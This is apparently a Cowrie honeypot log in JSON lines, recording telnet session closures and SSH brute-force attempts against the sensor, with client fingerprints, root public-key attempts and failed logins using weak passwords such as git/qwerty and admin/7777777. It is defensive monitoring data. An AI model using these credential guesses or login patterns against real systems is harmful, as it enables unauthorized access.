{"eventid":"cowrie.session.closed","duration":1.3752634525299072,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.569622Z","src_ip":"35.241.178.191","session":"9890f4e6ac3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.6882882118225098,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.573016Z","src_ip":"35.241.178.191","session":"147d1482c388","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8592298030853271,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.575855Z","src_ip":"35.241.178.191","session":"0d92ba3452f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.024801254272461,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.584560Z","src_ip":"35.241.178.191","session":"eae06644c0a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.1849474906921387,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.588050Z","src_ip":"35.241.178.191","session":"900be6c8107e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.3440160751342773,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.591831Z","src_ip":"35.241.178.191","session":"0d21fb008da5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.50612735748291,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.595212Z","src_ip":"35.241.178.191","session":"de59753155af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.664748191833496,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.598428Z","src_ip":"35.241.178.191","session":"a8cb35fe774e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.822218179702759,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.601977Z","src_ip":"35.241.178.191","session":"2929fc67db7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.9827842712402344,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.605090Z","src_ip":"35.241.178.191","session":"9767c791c50f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.139629602432251,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.608244Z","src_ip":"35.241.178.191","session":"56f66a812d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.2988009452819824,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.611650Z","src_ip":"35.241.178.191","session":"2cbafcc2ad3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.460050344467163,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.619403Z","src_ip":"35.241.178.191","session":"417dd35ac034","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.6192848682403564,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.622378Z","src_ip":"35.241.178.191","session":"4664f34c2eea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.775737762451172,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.625184Z","src_ip":"35.241.178.191","session":"5ad2fec4870e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.32757043838501,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.627985Z","src_ip":"35.241.178.191","session":"1a6f334be3b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.093706369400024,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.630645Z","src_ip":"35.241.178.191","session":"a0023aa16fbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.487002372741699,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.632685Z","src_ip":"35.241.178.191","session":"0bbfe0651907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.646086692810059,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.635569Z","src_ip":"35.241.178.191","session":"b2b5c9bc672d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.802789926528931,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.637742Z","src_ip":"35.241.178.191","session":"79c3d331d95b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.9612321853637695,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.640658Z","src_ip":"35.241.178.191","session":"4af6a2923c1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.118695974349976,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.642950Z","src_ip":"35.241.178.191","session":"6ce27768da3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.276392459869385,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.645650Z","src_ip":"35.241.178.191","session":"5151360a20cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.434934616088867,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.648185Z","src_ip":"35.241.178.191","session":"35f2c57d713e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.5933074951171875,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.650545Z","src_ip":"35.241.178.191","session":"f37a46c134eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.91891598701477,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:24.652788Z","src_ip":"35.241.178.191","session":"7cdb89aee945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":51136,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea1c0b33b8af","protocol":"ssh","message":"New connection: 58.186.20.143:51136 (10.17.0.5:22) [session: ea1c0b33b8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:28.367855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:28.372489Z","src_ip":"58.186.20.143","session":"ea1c0b33b8af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:28.622497Z","src_ip":"58.186.20.143","session":"ea1c0b33b8af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwerty","message":"login attempt [git/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:29.654443Z","src_ip":"58.186.20.143","session":"ea1c0b33b8af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:33:30.909907Z","src_ip":"58.186.20.143","session":"ea1c0b33b8af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":54762,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e9d620a9e39","protocol":"ssh","message":"New connection: 101.47.159.125:54762 (159.203.135.109:22) [session: 3e9d620a9e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:34:44.662060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:34:44.666957Z","src_ip":"101.47.159.125","session":"3e9d620a9e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:34:44.905952Z","src_ip":"101.47.159.125","session":"3e9d620a9e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zxcvbnm,","message":"login attempt [ubuntu/zxcvbnm,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:34:45.894439Z","src_ip":"101.47.159.125","session":"3e9d620a9e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:34:47.136355Z","src_ip":"101.47.159.125","session":"3e9d620a9e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":47744,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae1609f81acf","protocol":"ssh","message":"New connection: 160.251.185.39:47744 (10.17.0.5:22) [session: ae1609f81acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:34:53.029455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:34:53.033985Z","src_ip":"160.251.185.39","session":"ae1609f81acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:34:53.221295Z","src_ip":"160.251.185.39","session":"ae1609f81acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7777777","message":"login attempt [admin/7777777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:34:54.002645Z","src_ip":"160.251.185.39","session":"ae1609f81acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:34:55.193589Z","src_ip":"160.251.185.39","session":"ae1609f81acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.237.79.243","src_port":60004,"dst_ip":"10.17.0.5","dst_port":22,"session":"11c472b16c3c","protocol":"ssh","message":"New connection: 151.237.79.243:60004 (10.17.0.5:22) [session: 11c472b16c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:19.336257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:19.341167Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:19.466252Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:d0:fe:21:ae:fd:cd:f3:df:c0:ad:df:96:c1:24:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEHTIiIr99ynddZ8MvQOdMTzS8WM9MTFwHopmbJRDyn3S+BOo8N6IqQooDTFYDlCR/3aBIwAN9OFBXIBZkMV0NI9/Bj0FZsMMC/02u+VMyx6C6xOBjJMHy/rlhholkiA3SM9FJ2CoR+wNHhg6yRhJCrTU2urtTx+K0EdBpIstL9nGX7dhjeBDM4wa7pD8yig+5UCCg7dy6fjTCdwKL7F66F2TyKdWxDMTuqMxFQgLUDbWk4oS+bEuHQ/blHyxTFHnmPMenzeC1lawlTfh49OG8JI3T2QjhGR/ZeRKYFaVkfonNI5LOivOTiwPNPHYSNPEZRR2QXp7ia1+/guJU50CZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:d0:fe:21:ae:fd:cd:f3:df:c0:ad:df:96:c1:24:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.054537Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:d0:fe:21:ae:fd:cd:f3:df:c0:ad:df:96:c1:24:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEHTIiIr99ynddZ8MvQOdMTzS8WM9MTFwHopmbJRDyn3S+BOo8N6IqQooDTFYDlCR/3aBIwAN9OFBXIBZkMV0NI9/Bj0FZsMMC/02u+VMyx6C6xOBjJMHy/rlhholkiA3SM9FJ2CoR+wNHhg6yRhJCrTU2urtTx+K0EdBpIstL9nGX7dhjeBDM4wa7pD8yig+5UCCg7dy6fjTCdwKL7F66F2TyKdWxDMTuqMxFQgLUDbWk4oS+bEuHQ/blHyxTFHnmPMenzeC1lawlTfh49OG8JI3T2QjhGR/ZeRKYFaVkfonNI5LOivOTiwPNPHYSNPEZRR2QXp7ia1+/guJU50CZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.058141Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:c6:9d:60:ed:6d:b6:d9:69:46:e2:1e:f2:f2:46:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2FUszAEk1g1QAWxAM7Eoob/zv6qBHgRk7E+WVj8OriRhMiUzlS5GCzdIxUvSIu16I8AowkYKWdSiEvtM95TehR5mvEtkjQoUk91HsZdJegpIMneR6MV8nkoW1ZNBxcKNnnUhOqViBwQ78y/J/lcnFTJ6on1IjoQGGQkkpRA33FFBm8eGD3il64s15iB2OUlZsGP1iemIz2rfQ+LQdkLEpULRMv8xY7d/jdG7KPgZb9BeZpmKIfwEhHvMfaiEvMBg4FS3hlKLHFCBi3TX/a6+ufYsyOsOXS/msYb4/zwqALYF3OHr0vmbPb8ssl5BJs79h8dt47FN2DyrZBE0tGrlMXOZq1EzdwuPsq4aeR7Vq5yh83qHcun0LPpIzoF7WxZKsxnWV18L5yyJnMk+VUiu8c7dC9FXt6i2wqHZUVPG0g4ZXdNITAPRCGytq1FdiLp1Zx2ZwFwVsSUrl0MVE+w9WC1MfrS2jqEJw9gnM4TP/gYIahlxYOsu1c4p+g5mK1ZUM7HqpZc3pL1kt3Sl1Ts90+kMkrFlIrp7Awp/LzrdX64sEyvfqMG9Bm6IlfVyB7nAcJGWSQZIAUD9NgjSxqJnttj5sht+gXdZV7J5aPLkdTVy4nN3eH2DooYD8rPVisYtFi2Z9UOU/Iom16C2trj7Hkff4lEyaD+vIQ8blJpyShQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:c6:9d:60:ed:6d:b6:d9:69:46:e2:1e:f2:f2:46:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.184253Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:c6:9d:60:ed:6d:b6:d9:69:46:e2:1e:f2:f2:46:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2FUszAEk1g1QAWxAM7Eoob/zv6qBHgRk7E+WVj8OriRhMiUzlS5GCzdIxUvSIu16I8AowkYKWdSiEvtM95TehR5mvEtkjQoUk91HsZdJegpIMneR6MV8nkoW1ZNBxcKNnnUhOqViBwQ78y/J/lcnFTJ6on1IjoQGGQkkpRA33FFBm8eGD3il64s15iB2OUlZsGP1iemIz2rfQ+LQdkLEpULRMv8xY7d/jdG7KPgZb9BeZpmKIfwEhHvMfaiEvMBg4FS3hlKLHFCBi3TX/a6+ufYsyOsOXS/msYb4/zwqALYF3OHr0vmbPb8ssl5BJs79h8dt47FN2DyrZBE0tGrlMXOZq1EzdwuPsq4aeR7Vq5yh83qHcun0LPpIzoF7WxZKsxnWV18L5yyJnMk+VUiu8c7dC9FXt6i2wqHZUVPG0g4ZXdNITAPRCGytq1FdiLp1Zx2ZwFwVsSUrl0MVE+w9WC1MfrS2jqEJw9gnM4TP/gYIahlxYOsu1c4p+g5mK1ZUM7HqpZc3pL1kt3Sl1Ts90+kMkrFlIrp7Awp/LzrdX64sEyvfqMG9Bm6IlfVyB7nAcJGWSQZIAUD9NgjSxqJnttj5sht+gXdZV7J5aPLkdTVy4nN3eH2DooYD8rPVisYtFi2Z9UOU/Iom16C2trj7Hkff4lEyaD+vIQ8blJpyShQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.188732Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:67:04:7f:44:99:7f:db:79:6f:d0:de:31:d0:72:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAUKc6UnNzOCGDiwK629LtHRwwAxRwAWHGjblUciRkqB7I6Rk3huEindCWn9iAyV7lNOWTPEDxU5m2/va+zF6czh0jefBbBUrUoPtiQ4OI5KypYeQEacvhgevkTJfX6eQIkvXyWY1bU/hNzNAv8u3oswqjSQJx6yHj7Nll39k+DCCeVyxHZXZehAls3v75ST0njbWpcsDIZJ9Y0kXMIOqPvC2cyn+DmAB1cHwGhot0WJmDQsApyLteo+mjragsDHh99lH7meluwpKV1L0wwaQl+TDVludLFIeDxSUgZU+rXKSdOTQS+wUu2V3HlNTjTXXF2iUdsIZlHpDpifkLqmWBOAP+9s4cPEPgWYHSn9rCJtOkIyNc1R6r3LPEchKknoFLbXD1D1Gk0XWDbygNlDRZI0/41FgLk4RU2JUTJzpzX3ZHmyLgL0/ItHq6i+0p3xi2+odyY9HiY89lYIvSQdY1WeS8WPwZqh/WSKOyIoq8xr6k0u8VloYcxU5dMttP7S+XTtthvaCxCWImrQFZL25vtVaC2oeYB30XO3nDzZvQ3kwht6a0wB1VK7vv9oSf1Hj1jr3KAtPH1D/LIkLNY20KnDTj+whsJunMaiqxXDs7xtzZik7ofIiV3iDUlQwIB8K6Bh2Di2tV3vrbS89q6QR4NkWJ6WIa2KdeCCIO11tCEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:67:04:7f:44:99:7f:db:79:6f:d0:de:31:d0:72:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:35:20.311372Z","src_ip":"151.237.79.243","session":"11c472b16c3c","protocol":"ssh"}
